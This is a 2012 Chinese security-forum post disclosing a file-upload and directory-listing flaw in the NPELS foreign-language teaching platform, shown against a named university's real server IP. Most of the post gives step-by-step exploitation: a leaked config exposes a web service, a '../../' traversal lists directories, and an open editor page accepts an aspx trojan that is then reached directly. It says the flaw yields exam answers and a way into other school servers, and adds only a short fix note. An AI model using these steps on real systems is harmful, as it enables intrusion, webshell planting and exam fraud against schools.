找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2364|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
: ]9 }  c" x, _4 b6 C4 ^, t
' T7 G" P5 q3 s, `$ N详细说明:" r% a( R. H2 ~7 \- l

1 X/ {' I! P; H" z以南开大学的为例: 5 z. r5 `8 e1 O' ]' O7 {# R
http://222.30.60.3/NPELS* v( F' {$ u+ r: b8 G) _
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
( L; j/ _& ?% s! D1 p5 i& c6 H<setting name="Update_CommonSvr_CommonService" serializeAs="String">
0 X2 i4 [7 I' N+ P4 ^# A- _$ X' k<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
3 O* o9 D6 @1 O4 z$ F</setting># _7 g* F3 M6 D8 V3 V2 a7 O% h
及版本号
- O+ {* h- ], z0 y' j/ {<add key="TVersion" value="1, 0, 0, 2187"># k# G! p$ X# @8 L5 E2 r
</add>( M* k5 Y9 m  r% R
直接访问
/ S5 v* d5 _6 X6 {0 o; I" |* C$ D0 ~http://222.30.60.3/NPELS/CommonService.asmx0 _1 P2 ^- {5 R9 o
使用GetTestClientFileList操作,直接 HTTP GET 列目录:" t: S( ?, [) |
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187/ Y3 l2 F" l& d3 r9 a  n
进一步列目录(返回的网页很大,可以直接 wget 下来)
0 |2 G) x9 l4 [: E% R7 P1 f& {http://222.30.60.3/NPELS/CommonS ... List?version=../../2 J7 ^' s4 H* ]4 U5 h. Q9 e/ j$ T
0 o- @- D: g% {2 o' q
发现
- Z4 n7 r+ n6 [- _1 x8 y7 r* lhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm- \$ r" i5 z5 J! D) f. A7 ]
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头' I1 D+ u# l: Q5 B4 ]
上传后继续列目录找到木马地址直接访问即可
& e( C  m3 m$ r& i9 N
+ U5 ~  n0 F. {; f$ uOOXX
9 D% r8 e/ B2 ~8 z/ o* q% a/ { ) w* a% z- C. B1 t
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
& ]* Z1 K4 V+ V; P# B' F3 T, U漏洞证明:/ d. p: U% L, l

$ |. m- ?& M5 u  Q4 c列目录:
. S* C8 E7 d# X' n9 e& T4 Bhttp://222.30.60.3/NPELS/CommonS ... List?version=../../
, e+ t7 `8 H, l+ _; [文件上传:& C. r' H/ M3 r: f& ~) s8 t! `
http://222.30.60.3/npelsv/editor/editor.htm+ g0 O3 O2 D! ?$ ]; |  i

* T' b5 k4 w( H上传木马:3 D; X# M, i! w/ Q5 @! p8 p% e
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
' x5 L! k8 j" V6 j# ~! S+ @
# _: m' o& d0 K  e9 u) z5 l. {修复方案:2 \4 F/ K% g7 O8 j- d, b. e- Q% b
好像考试系统必须使用 CommonService.asmx
) y+ T% }3 a( E最好配置文件加密或者用别的方式不让它泄露出来& o) v/ \3 P% b: |" N
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​  Y6 m; _, u* ~2 {" B; r" \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表